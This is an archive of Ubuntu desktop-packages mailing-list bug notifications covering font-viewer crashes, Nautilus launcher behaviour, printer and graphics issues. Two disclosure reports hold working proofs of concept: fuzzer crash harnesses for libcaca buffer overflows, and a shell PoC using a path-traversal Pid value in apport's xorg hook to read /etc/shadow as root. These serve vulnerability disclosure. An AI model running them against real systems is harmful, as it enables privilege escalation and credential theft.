correctly when started from the command line of my Ubuntu 20.04 installation. Then subsequent attempts to start the program succeed when started from the dock or the Application Overview. I have found that this work around wasn't necessary when using Xubuntu 20.04. ProblemType: Crash DistroRelease: Ubuntu 19.10 Package: gnome-font-viewer 3.34.0-1 ProcVersionSignature: Ubuntu 5.3.0-10.11-generic 5.3.0-rc8 Uname: Linux 5.3.0-10-generic x86_64 ApportVersion: 2.20.11-0ubuntu7 Architecture: amd64 CasperVersion: 1.416 CurrentDesktop: XFCE Date: Wed Sep 25 17:34:17 2019 ExecutablePath: /usr/bin/gnome-font-viewer LiveMediaBuild: Xubuntu 19.10 "Eoan Ermine" - Beta amd64 (20190925) ProcCmdline: gnome-font-viewer ProcEnviron: LANGUAGE=en PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=C.UTF-8 SHELL=/bin/bash Signal: 5 SourcePackage: gnome-font-viewer StacktraceTop: ?? () from /lib/x86_64-linux-gnu/libX11.so.6 ?? () from /lib/x86_64-linux-gnu/libX11.so.6 _XEventsQueued () from /lib/x86_64-linux-gnu/libX11.so.6 XPending () from /lib/x86_64-linux-gnu/libX11.so.6 ?? () from /lib/x86_64-linux-gnu/libgdk-3.so.0 Title: gnome-font-viewer crashed with signal 5 in _XEventsQueued() UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom dip lpadmin plugdev sambashare sudo separator: To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-font-viewer/+bug/1845362/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1373069] Re: gnome-font-viewer crashed with signal 5 in _XEventsQueued()
** Information type changed from Private to Public ** Tags added: rls-ii-incoming -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-font-viewer in Ubuntu. https://bugs.launchpad.net/bugs/1373069 Title: gnome-font-viewer crashed with signal 5 in _XEventsQueued() Status in gnome-font-viewer package in Ubuntu: Confirmed Bug description: Inspecting the DroidSans font ProblemType: Crash DistroRelease: Ubuntu 14.10 Package: gnome-font-viewer 3.12.0-1 ProcVersionSignature: Ubuntu 3.16.0-17.23-generic 3.16.3 Uname: Linux 3.16.0-17-generic x86_64 ApportVersion: 2.14.7-0ubuntu2 Architecture: amd64 CurrentDesktop: Unity Date: Tue Sep 23 20:20:19 2014 ExecutablePath: /usr/bin/gnome-font-viewer InstallationDate: Installed on 2014-09-14 (8 days ago) InstallationMedia: Ubuntu 14.10 "Utopic Unicorn" - Alpha amd64 (20140914) ProcCmdline: gnome-font-viewer /home/username/Harmattan/Font/DroidSans.ttf ProcEnviron: LANGUAGE=de_DE PATH=(custom, no user) XDG_RUNTIME_DIR= LANG=de_DE.UTF-8 SHELL=/bin/bash Signal: 5 SourcePackage: gnome-font-viewer StacktraceTop: ?? () from /usr/lib/x86_64-linux-gnu/libX11.so.6 ?? () from /usr/lib/x86_64-linux-gnu/libX11.so.6 _XEventsQueued () from /usr/lib/x86_64-linux-gnu/libX11.so.6 XPending () from /usr/lib/x86_64-linux-gnu/libX11.so.6 ?? () from /usr/lib/x86_64-linux-gnu/libgdk-3.so.0 Title: gnome-font-viewer crashed with signal 5 in _XEventsQueued() UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom dip lpadmin plugdev sambashare sudo To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-font-viewer/+bug/1373069/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1944412] Re: Nautilus keeps spawning new window when clicking on the launcher icon
I use X11 with proprietary nvidia graphics. I will test with the other user accoutn on this machine which has way less setting changes than my account. -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to nautilus in Ubuntu. https://bugs.launchpad.net/bugs/1944412 Title: Nautilus keeps spawning new window when clicking on the launcher icon Status in nautilus package in Ubuntu: Incomplete Bug description: When clicking on the launcher icon for nautilus, new instances keep being started even when I had already launched an instance before. This should only happen if I manually select the "new window" action. The past behaviour was to restore back the last window used if there are instances already running. Hovering on the launcher icon should also show running instances but this no longer works. I can get the right behaviour back if I keep fiddling with the nautilus .desktop file but the bad behavior returns again if I restart my session without changing the .desktop file again. Please look into this as it got old really fast after upgrade. ProblemType: Bug DistroRelease: Ubuntu 21.10 Package: nautilus 1:40.2-1ubuntu1 [modified: usr/share/applications/org.gnome.Nautilus.desktop] Uname: Linux 5.14.6 x86_64 NonfreeKernelModules: nvidia_modeset nvidia ApportVersion: 2.20.11-0ubuntu69 Architecture: amd64 CasperMD5CheckResult: unknown CurrentDesktop: ubuntu:GNOME Date: Tue Sep 21 09:42:49 2021 InstallationDate: Installed on 2016-02-19 (2040 days ago) InstallationMedia: Ubuntu 15.10 "Wily Werewolf" - Release amd64 (20151021) SourcePackage: nautilus UpgradeStatus: Upgraded to impish on 2021-09-18 (2 days ago) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/nautilus/+bug/1944412/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1944412] Re: Nautilus keeps spawning new window when clicking on the launcher icon
I think I found out the cause, I had Ubuntu Dock enabled while having Dash to Panel enabled. Ubuntu Dock may have been turned on during upgrade (as I had turned it off months ago). I'll keep testing and report back after going through a logout/login and a full reboot. -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to nautilus in Ubuntu. https://bugs.launchpad.net/bugs/1944412 Title: Nautilus keeps spawning new window when clicking on the launcher icon Status in nautilus package in Ubuntu: Incomplete Bug description: When clicking on the launcher icon for nautilus, new instances keep being started even when I had already launched an instance before. This should only happen if I manually select the "new window" action. The past behaviour was to restore back the last window used if there are instances already running. Hovering on the launcher icon should also show running instances but this no longer works. I can get the right behaviour back if I keep fiddling with the nautilus .desktop file but the bad behavior returns again if I restart my session without changing the .desktop file again. Please look into this as it got old really fast after upgrade. ProblemType: Bug DistroRelease: Ubuntu 21.10 Package: nautilus 1:40.2-1ubuntu1 [modified: usr/share/applications/org.gnome.Nautilus.desktop] Uname: Linux 5.14.6 x86_64 NonfreeKernelModules: nvidia_modeset nvidia ApportVersion: 2.20.11-0ubuntu69 Architecture: amd64 CasperMD5CheckResult: unknown CurrentDesktop: ubuntu:GNOME Date: Tue Sep 21 09:42:49 2021 InstallationDate: Installed on 2016-02-19 (2040 days ago) InstallationMedia: Ubuntu 15.10 "Wily Werewolf" - Release amd64 (20151021) SourcePackage: nautilus UpgradeStatus: Upgraded to impish on 2021-09-18 (2 days ago) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/nautilus/+bug/1944412/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1944412] Re: Nautilus keeps spawning new window when clicking on the launcher icon
I have uninstalled nautilus (purge option) and reinstalled. The issue persists on my machine. Is there anything I can give you to help out? Logs or settings files etc.? -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to nautilus in Ubuntu. https://bugs.launchpad.net/bugs/1944412 Title: Nautilus keeps spawning new window when clicking on the launcher icon Status in nautilus package in Ubuntu: Incomplete Bug description: When clicking on the launcher icon for nautilus, new instances keep being started even when I had already launched an instance before. This should only happen if I manually select the "new window" action. The past behaviour was to restore back the last window used if there are instances already running. Hovering on the launcher icon should also show running instances but this no longer works. I can get the right behaviour back if I keep fiddling with the nautilus .desktop file but the bad behavior returns again if I restart my session without changing the .desktop file again. Please look into this as it got old really fast after upgrade. ProblemType: Bug DistroRelease: Ubuntu 21.10 Package: nautilus 1:40.2-1ubuntu1 [modified: usr/share/applications/org.gnome.Nautilus.desktop] Uname: Linux 5.14.6 x86_64 NonfreeKernelModules: nvidia_modeset nvidia ApportVersion: 2.20.11-0ubuntu69 Architecture: amd64 CasperMD5CheckResult: unknown CurrentDesktop: ubuntu:GNOME Date: Tue Sep 21 09:42:49 2021 InstallationDate: Installed on 2016-02-19 (2040 days ago) InstallationMedia: Ubuntu 15.10 "Wily Werewolf" - Release amd64 (20151021) SourcePackage: nautilus UpgradeStatus: Upgraded to impish on 2021-09-18 (2 days ago) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/nautilus/+bug/1944412/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1944736] Re: gnome-font-viewer crashed with signal 5 in _XEventsQueued()
*** This bug is a duplicate of bug 1373069 *** https://bugs.launchpad.net/bugs/1373069 Thank you for taking the time to report this crash and helping to make this software better. This particular crash has already been reported and is a duplicate of bug #1373069, so is being marked as such. Please look at the other bug report to see if there is any missing information that you can provide, or to see if there is a workaround for the bug. Additionally, any further discussion regarding the bug should occur in the other report. Please continue to report any other bugs you may find. ** Attachment removed: "CoreDump.gz" https://bugs.launchpad.net/bugs/1944736/+attachment/5527368/+files/CoreDump.gz ** Attachment removed: "Disassembly.txt" https://bugs.launchpad.net/bugs/1944736/+attachment/5527370/+files/Disassembly.txt ** Attachment removed: "ProcMaps.txt" https://bugs.launchpad.net/bugs/1944736/+attachment/5527373/+files/ProcMaps.txt ** Attachment removed: "ProcStatus.txt" https://bugs.launchpad.net/bugs/1944736/+attachment/5527374/+files/ProcStatus.txt ** Attachment removed: "Registers.txt" https://bugs.launchpad.net/bugs/1944736/+attachment/5527375/+files/Registers.txt ** Attachment removed: "Stacktrace.txt" https://bugs.launchpad.net/bugs/1944736/+attachment/5527376/+files/Stacktrace.txt ** Attachment removed: "ThreadStacktrace.txt" https://bugs.launchpad.net/bugs/1944736/+attachment/5527377/+files/ThreadStacktrace.txt ** This bug has been marked a duplicate of private bug 1373069 ** Information type changed from Private to Public ** Tags removed: need-amd64-retrace -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-font-viewer in Ubuntu. https://bugs.launchpad.net/bugs/1944736 Title: gnome-font-viewer crashed with signal 5 in _XEventsQueued() Status in gnome-font-viewer package in Ubuntu: New Bug description: This happened when launching fonts on an Ubuntu Impish daily live cd when running "Try Ubuntu". ProblemType: Crash DistroRelease: Ubuntu 21.10 Package: gnome-font-viewer 40.0-2 ProcVersionSignature: Ubuntu 5.13.0-16.16-generic 5.13.13 Uname: Linux 5.13.0-16-generic x86_64 NonfreeKernelModules: zfs zunicode zavl icp zcommon znvpair ApportVersion: 2.20.11-0ubuntu69 Architecture: amd64 CasperMD5CheckResult: pass CasperVersion: 1.465 CurrentDesktop: ubuntu:GNOME Date: Thu Sep 23 13:47:00 2021 ExecutablePath: /usr/bin/gnome-font-viewer LiveMediaBuild: Ubuntu 21.10 "Impish Indri" - Beta amd64 (20210922) ProcCmdline: /usr/bin/gnome-font-viewer --gapplication-service ProcEnviron: SHELL=/bin/bash XDG_RUNTIME_DIR= PATH=(custom, no user) LANG=en_US.UTF-8 Signal: 5 SourcePackage: gnome-font-viewer StacktraceTop: ?? () from /lib/x86_64-linux-gnu/libX11.so.6 ?? () from /lib/x86_64-linux-gnu/libX11.so.6 _XEventsQueued () from /lib/x86_64-linux-gnu/libX11.so.6 XPending () from /lib/x86_64-linux-gnu/libX11.so.6 ?? () from /lib/x86_64-linux-gnu/libgdk-3.so.0 Title: gnome-font-viewer crashed with signal 5 in _XEventsQueued() UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm cdrom dip lpadmin lxd plugdev sambashare sudo separator: To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-font-viewer/+bug/1944736/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1944412] Re: Nautilus keeps spawning new window when clicking on the launcher icon
Could you try with another user on the same machine to see if it has to do with the configuration? Do you use X or wayland session? -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to nautilus in Ubuntu. https://bugs.launchpad.net/bugs/1944412 Title: Nautilus keeps spawning new window when clicking on the launcher icon Status in nautilus package in Ubuntu: Incomplete Bug description: When clicking on the launcher icon for nautilus, new instances keep being started even when I had already launched an instance before. This should only happen if I manually select the "new window" action. The past behaviour was to restore back the last window used if there are instances already running. Hovering on the launcher icon should also show running instances but this no longer works. I can get the right behaviour back if I keep fiddling with the nautilus .desktop file but the bad behavior returns again if I restart my session without changing the .desktop file again. Please look into this as it got old really fast after upgrade. ProblemType: Bug DistroRelease: Ubuntu 21.10 Package: nautilus 1:40.2-1ubuntu1 [modified: usr/share/applications/org.gnome.Nautilus.desktop] Uname: Linux 5.14.6 x86_64 NonfreeKernelModules: nvidia_modeset nvidia ApportVersion: 2.20.11-0ubuntu69 Architecture: amd64 CasperMD5CheckResult: unknown CurrentDesktop: ubuntu:GNOME Date: Tue Sep 21 09:42:49 2021 InstallationDate: Installed on 2016-02-19 (2040 days ago) InstallationMedia: Ubuntu 15.10 "Wily Werewolf" - Release amd64 (20151021) SourcePackage: nautilus UpgradeStatus: Upgraded to impish on 2021-09-18 (2 days ago) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/nautilus/+bug/1944412/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1944412] Re: Nautilus keeps spawning new window when clicking on the launcher icon
Should I try to "reinstall" nautilus? Remove it including settings and install it anew, and see if it triggers again? -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to nautilus in Ubuntu. https://bugs.launchpad.net/bugs/1944412 Title: Nautilus keeps spawning new window when clicking on the launcher icon Status in nautilus package in Ubuntu: Incomplete Bug description: When clicking on the launcher icon for nautilus, new instances keep being started even when I had already launched an instance before. This should only happen if I manually select the "new window" action. The past behaviour was to restore back the last window used if there are instances already running. Hovering on the launcher icon should also show running instances but this no longer works. I can get the right behaviour back if I keep fiddling with the nautilus .desktop file but the bad behavior returns again if I restart my session without changing the .desktop file again. Please look into this as it got old really fast after upgrade. ProblemType: Bug DistroRelease: Ubuntu 21.10 Package: nautilus 1:40.2-1ubuntu1 [modified: usr/share/applications/org.gnome.Nautilus.desktop] Uname: Linux 5.14.6 x86_64 NonfreeKernelModules: nvidia_modeset nvidia ApportVersion: 2.20.11-0ubuntu69 Architecture: amd64 CasperMD5CheckResult: unknown CurrentDesktop: ubuntu:GNOME Date: Tue Sep 21 09:42:49 2021 InstallationDate: Installed on 2016-02-19 (2040 days ago) InstallationMedia: Ubuntu 15.10 "Wily Werewolf" - Release amd64 (20151021) SourcePackage: nautilus UpgradeStatus: Upgraded to impish on 2021-09-18 (2 days ago) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/nautilus/+bug/1944412/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1944412] Re: Nautilus keeps spawning new window when clicking on the launcher icon
no, testing on a current impish iso the bug is not triggered, the launcher correctly focus the existing nautilus instance -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to nautilus in Ubuntu. https://bugs.launchpad.net/bugs/1944412 Title: Nautilus keeps spawning new window when clicking on the launcher icon Status in nautilus package in Ubuntu: Incomplete Bug description: When clicking on the launcher icon for nautilus, new instances keep being started even when I had already launched an instance before. This should only happen if I manually select the "new window" action. The past behaviour was to restore back the last window used if there are instances already running. Hovering on the launcher icon should also show running instances but this no longer works. I can get the right behaviour back if I keep fiddling with the nautilus .desktop file but the bad behavior returns again if I restart my session without changing the .desktop file again. Please look into this as it got old really fast after upgrade. ProblemType: Bug DistroRelease: Ubuntu 21.10 Package: nautilus 1:40.2-1ubuntu1 [modified: usr/share/applications/org.gnome.Nautilus.desktop] Uname: Linux 5.14.6 x86_64 NonfreeKernelModules: nvidia_modeset nvidia ApportVersion: 2.20.11-0ubuntu69 Architecture: amd64 CasperMD5CheckResult: unknown CurrentDesktop: ubuntu:GNOME Date: Tue Sep 21 09:42:49 2021 InstallationDate: Installed on 2016-02-19 (2040 days ago) InstallationMedia: Ubuntu 15.10 "Wily Werewolf" - Release amd64 (20151021) SourcePackage: nautilus UpgradeStatus: Upgraded to impish on 2021-09-18 (2 days ago) To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/nautilus/+bug/1944412/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1923273] Re: buffer-overflow on libcaca-0.99.beta20/export.c export_tga, export_troff
** Changed in: libcaca (Ubuntu)
Status: New => Confirmed
--
You received this bug notification because you are a member of Desktop
Packages, which is subscribed to libcaca in Ubuntu.
https://bugs.launchpad.net/bugs/1923273
Title:
buffer-overflow on libcaca-0.99.beta20/export.c export_tga,
export_troff
Status in libcaca package in Ubuntu:
Confirmed
Bug description:
Hello Ubuntu Security Team
I use libfuzzer to test libcaca api .I found two crash
- https://github.com/cacalabs/libcaca/issues/53
- https://github.com/cacalabs/libcaca/issues/54
## Vendor of Product
https://github.com/cacalabs/libcaca
## Affected Product Code Base
libcaca e4968ba
## Affected Component
affected component:libcaca.so
## Affected source code file
affected source code file(As call stack):
->caca_export_canvas_to_memory() in
libcaca/caca/codec/export.c
->caca_export_memory()in
libcaca/caca/codec/export.c
-> export_tga()in
libcaca/caca/codec/export.c
-> export_troff() in
libcaca/caca/codec/export.c
## Attack Type
Context-dependent
## Impact Denial of Service
true
## Reference
https://github.com/cacalabs/libcaca
## Discoverer
fdgnneig
## Verification process and POC
### Verification steps：
1.Get the source code of libcaca:
2.Compile the libcaca.so library:
```shell
$ cd libcaca
$ apt-get install automake libtool pkg-config -y
$ ./bootstrap
$ ./configure
$ make
3.Run POC.sh to compile poc_troff.cc 、poc_tga.cc
4.Run POC
POC.sh
```
cat << EOF > poc_troff.cc
#include "config.h"
#include "caca.h"
//#include "common-image.h"
#include
#include
#include
#include
#include
#include
using namespace std;
extern "C" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t
Size) {
if(Size<8) return 0;
size_t len=0;
char* buffer = (char*)malloc(Size+1);
memset(buffer,0,Size);
memcpy(buffer,Data,Size);
buffer[Size]='\0';
caca_canvas_t *cv;
cv = caca_create_canvas(0,0);
for(int i=0;i<4;i++)
caca_create_frame(cv,0);
for(int i=0;i<4;i++){
caca_set_frame(cv,i);
caca_import_canvas_from_memory(cv,buffer,strlen(buffer),"");
}
void* reData = caca_export_canvas_to_memory(cv,"troff",);
if(reData!=NULL) free(reData);
caca_free_canvas(cv);
cv=NULL;
free(buffer);
buffer=NULL;
}
int main(int args,char* argv[]){
size_t len = 0;
unsigned char buffer[] =
{0x5f,0x20,0x6f,0x75,0x6e,0x64,0x0a,0x40,0x11};
len = sizeof(buffer)/sizeof(unsigned char);
LLVMFuzzerTestOneInput((const uint8_t*)buffer,len);
printf("%d\n",sizeof(buffer)/sizeof(unsigned char));
return 0;
}
EOF
clang++ -g poc_troff.cc -O2 -fno-omit-frame-pointer -fsanitize=address
-I./caca/ -lcaca -L./caca/.libs/ -Wl,-rpath,./caca/.libs/ -o
poc_troff
cat << EOF > poc_tga.cc
#include "config.h"
#include "caca.h"
#include
#include
#include
#include
#include
#include
using namespace std;
extern "C" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t
Size) {
if(Size<8) return 0;
size_t len=0;
char* buffer = (char*)malloc(Size+1);
memset(buffer,0,Size);
memcpy(buffer,Data,Size);
buffer[Size]='\0';
caca_canvas_t *cv;
cv = caca_create_canvas(0,0);
for(int i=0;i<4;i++)
caca_create_frame(cv,0);
for(int i=0;i<4;i++){
caca_set_frame(cv,i);
caca_import_canvas_from_memory(cv,buffer,strlen(buffer),"");
}
void* reData = caca_export_canvas_to_memory(cv,"tga",);
if(reData!=NULL) free(reData);
caca_free_canvas(cv);
cv=NULL;
free(buffer);
buffer=NULL;
return 0;
}
int main(int args,char* argv[]){
size_t len = 0;
unsigned char buffer[] =
{0x00,0xff,0xff,0x23,0x64,0x72,0x23,0x20,0x11};
len = sizeof(buffer)/sizeof(unsigned char);
LLVMFuzzerTestOneInput((const uint8_t*)buffer,len);
printf("%d\n",sizeof(buffer)/sizeof(unsigned char));
return 0;
}
EOF
clang++ -g poc_tga.cc
[Desktop-packages] [Bug 1944727] Re: Screen shot leaves HP printer in non-working state
Here's an example file that produces the issue. ** Attachment added: "This file only print once on my HP printer" https://bugs.launchpad.net/ubuntu/+source/gnome-screenshot/+bug/1944727/+attachment/5527367/+files/Print-once.odt -- You received this bug notification because you are a member of Desktop Packages, which is subscribed to gnome-screenshot in Ubuntu. https://bugs.launchpad.net/bugs/1944727 Title: Screen shot leaves HP printer in non-working state Status in gnome-screenshot package in Ubuntu: New Bug description: This is a weird bug and difficult to debug. However: I have Ubuntu 21.04 fully updated as of 2021-09-23. Printing something that has been captured by gnome-screenshot will print fine with my HP Color Laserjet Pro M477fdw printer. However, it will leave the printer in a state where any subsequent print will fail, regardless of document or machine. Even printing from a Macbook Air will fail. The printer reports any subsequent file to be printed as corrupt and nothing comes out. The only way to recover from this state is to power-cycle the printer. This ONLY happen with screenshots. It happens BOTH when the screenshot has been pasted into Libre Office, and when the screenshot has been saved to a .png and printed from Image Viewer. This issue does however NOT happen on my CANON Pro 100 inkjet printer. So blame the printer, yes, but I have not been able to repeat it without gnome-screenshot. It's the common factor. Before Ubuntu 21.04 the default screen capture program was different, or at least it looked different, but previously I had no problem. I have been running Ubuntu with this printer for many years. Summary: I can only print screenshots once. I expect to be able to print two screen shots in sequence without requiring to power cycle the printer in between. I can upload an example file (that only print once) if required. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gnome-screenshot/+bug/1944727/+subscriptions -- Mailing list: https://launchpad.net/~desktop-packages Post to : desktop-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~desktop-packages More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1933832] Re: Path traversal leads to arbitrary file read
** Changed in: openjdk-13 (Ubuntu)
Status: New => Won't Fix
** Changed in: openjdk-14 (Ubuntu)
Status: New => Won't Fix
** Changed in: openjdk-15 (Ubuntu)
Status: New => Won't Fix
** Changed in: openjdk-16 (Ubuntu)
Status: New => Won't Fix
** Changed in: openjdk-17 (Ubuntu)
Status: New => Won't Fix
** Changed in: openjdk-18 (Ubuntu)
Status: New => Won't Fix
** Changed in: openjdk-8 (Ubuntu)
Status: New => Won't Fix
** Changed in: xorg (Ubuntu)
Status: New => Won't Fix
--
You received this bug notification because you are a member of Desktop
Packages, which is subscribed to xorg in Ubuntu.
https://bugs.launchpad.net/bugs/1933832
Title:
Path traversal leads to arbitrary file read
Status in apport package in Ubuntu:
Fix Released
Status in openjdk-13 package in Ubuntu:
Won't Fix
Status in openjdk-14 package in Ubuntu:
Won't Fix
Status in openjdk-15 package in Ubuntu:
Won't Fix
Status in openjdk-16 package in Ubuntu:
Won't Fix
Status in openjdk-17 package in Ubuntu:
Won't Fix
Status in openjdk-18 package in Ubuntu:
Won't Fix
Status in openjdk-8 package in Ubuntu:
Won't Fix
Status in xorg package in Ubuntu:
Won't Fix
Bug description:
While reiterating the issues reported in
https://bugs.launchpad.net/bugs/1917904, Stephen Röttger (@_tsuro)
mentioned, that the second issue "Arbitrary file read in package-
hooks/source_xorg.py (Info)" might additionally contain a path
traversal vulnerability. This was confirmed by developing a PoC, that
enables a user to read arbitrary files in the context of the root
user, leading to elevation of privileges. Exploiting this issue
requires, that automatic crash reporting is enabled.
The following excerpt of the file `package-hooks/source_xorg.py` shows the
vulnerable code:
if True or report.get('SourcePackage','Unknown') == "compiz" and "ProcStatus"
in report:
compiz_pid = 0
pid_line = re.search("Pid:\t(.*)\n", report["ProcStatus"]) # [0]
if pid_line:
compiz_pid = pid_line.groups()[0]
compiz_state_file = '/tmp/compiz_internal_state%s' % compiz_pid # [1]
attach_file_if_exists(report, compiz_state_file, "compiz_internal_states")
While in [0] the `pid_line` is extracted, this value (if successfully
matched) is appended to the file path resulting in `compiz_state_file` [1],
which is subsequently attached to the crash file.
Using a `Pid` such as `JRN/../../../../etc/shadow` therefore results in the
file `/etc/shadow` being attached (after creating the directory
`/tmp/compiz_internal_stateJRN`).
The following POC (tested on 20.04/21.04 Desktop) exploits this issue
to read the file `/etc/shadow`:
mkdir /tmp/compiz_internal_stateJRN/;pid=$'\tJRN/../../../etc/shadow';cat <<
EOF > /var/crash/poc.crash
ProblemType: Crash
ExecutablePath: /poc
Package: source_xorg 123
SourcePackage: compiz
ProcStatus:
Pid:$pid
Uid:$pid
EOF
When reading the crash file (after `whoopsie-upload-all` ran), the contents
of the file `/etc/shadow` are indeed attached:
grep -A3 compiz_internal /var/crash/poc.crash
compiz_internal_states:
root:!:18393:0:9:7:::
daemon:*:18375:0:9:7:::
bin:*:18375:0:9:7:::
Please credit Stephen Röttger (@_tsuro) in a potential CVE/USN.
Best regards,
Maik
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1933832/+subscriptions
--
Mailing list: https://launchpad.net/~desktop-packages
Post to : desktop-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~desktop-packages
More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1940504] Re: Support Alder Lake P graphics
oh, oem-5.14 was part of this bug :)
** Tags removed: verification-needed verification-needed-focal
** Tags added: verification-done verification-done-focal
--
You received this bug notification because you are a member of Desktop
Packages, which is subscribed to mesa in Ubuntu.
https://bugs.launchpad.net/bugs/1940504
Title:
Support Alder Lake P graphics
Status in libdrm package in Ubuntu:
Fix Released
Status in linux-firmware package in Ubuntu:
Fix Released
Status in mesa package in Ubuntu:
Fix Released
Status in libdrm source package in Focal:
Fix Committed
Status in linux-firmware source package in Focal:
Fix Committed
Status in linux-oem-5.14 source package in Focal:
Fix Committed
Status in mesa source package in Focal:
Fix Committed
Bug description:
[SRU Justification:linux-firmware]
[Impact]
It shows the firmware is missing, and runtime power management has been
disabled:
i915 :00:02.0: [drm] Failed to load DMC firmware
i915/adlp_dmc_ver2_10.bin. Disabling runtime power management.
[Fix]
Upstream commit 3d32f216 ("i915: Add ADL-P DMC Support").
[Test Case]
Verified on Intel ADL-M/ADL-P RVPs.
[Where problems could occur]
It's a new firmware for new GPU, not possible to introduce
regressions.
[Other Info]
Impish has this already. And while ADL-P/M support begins since v5.14,
only focal (for oem-5.14) is being nominated.
=
[SRU Justification:mesa,libdrm]
NOTE: this is for focal only, hirsute/impish do not and will not have
kernel support for this.
[Impact]
ADL-P machines need to use the native driver.
[Fix]
Backport support from upstream.
libdrm: a single patch from 2.4.107
mesa: three commits to add pci-id's and a workaround
kernel: needs drm sync from 5.14 (bug 1940085) plus additional backports
[Test case]
Boot a machine and check that it's using the native driver and that the usual
workloads are fine.
[Where things could go wrong]
For older gpu's there's little to go wrong, since the commits are for ADL-P
only.
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/libdrm/+bug/1940504/+subscriptions
--
Mailing list: https://launchpad.net/~desktop-packages
Post to : desktop-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~desktop-packages
More help : https://help.launchpad.net/ListHelp
[Desktop-packages] [Bug 1940504] Re: Support Alder Lake P graphics
ADL-P works with the updated stack, plus linux-oem-5.14 from proposed
--
You received this bug notification because you are a member of Desktop
Packages, which is subscribed to mesa in Ubuntu.
https://bugs.launchpad.net/bugs/1940504
Title:
Support Alder Lake P graphics
Status in libdrm package in Ubuntu:
Fix Released
Status in linux-firmware package in Ubuntu:
Fix Released
Status in mesa package in Ubuntu:
Fix Released
Status in libdrm source package in Focal:
Fix Committed
Status in linux-firmware source package in Focal:
Fix Committed
Status in linux-oem-5.14 source package in Focal:
Fix Committed
Status in mesa source package in Focal:
Fix Committed
Bug description:
[SRU Justification:linux-firmware]
[Impact]
It shows the firmware is missing, and runtime power management has been
disabled:
i915 :00:02.0: [drm] Failed to load DMC firmware
i915/adlp_dmc_ver2_10.bin. Disabling runtime power management.
[Fix]
Upstream commit 3d32f216 ("i915: Add ADL-P DMC Support").
[Test Case]
Verified on Intel ADL-M/ADL-P RVPs.
[Where problems could occur]
It's a new firmware for new GPU, not possible to introduce
regressions.
[Other Info]
Impish has this already. And while ADL-P/M support begins since v5.14,
only focal (for oem-5.14) is being nominated.
=
[SRU Justification:mesa,libdrm]
NOTE: this is for focal only, hirsute/impish do not and will not have
kernel support for this.
[Impact]
ADL-P machines need to use the native driver.
[Fix]
Backport support from upstream.
libdrm: a single patch from 2.4.107
mesa: three commits to add pci-id's and a workaround
kernel: needs drm sync from 5.14 (bug 1940085) plus additional backports
[Test case]
Boot a machine and check that it's using the native driver and that the usual
workloads are fine.
[Where things could go wrong]
For older gpu's there's little to go wrong, since the commits are for ADL-P
only.
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/libdrm/+bug/1940504/+subscriptions
--
Mailing list: https://launchpad.net/~desktop-packages
Post to : desktop-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~desktop-packages
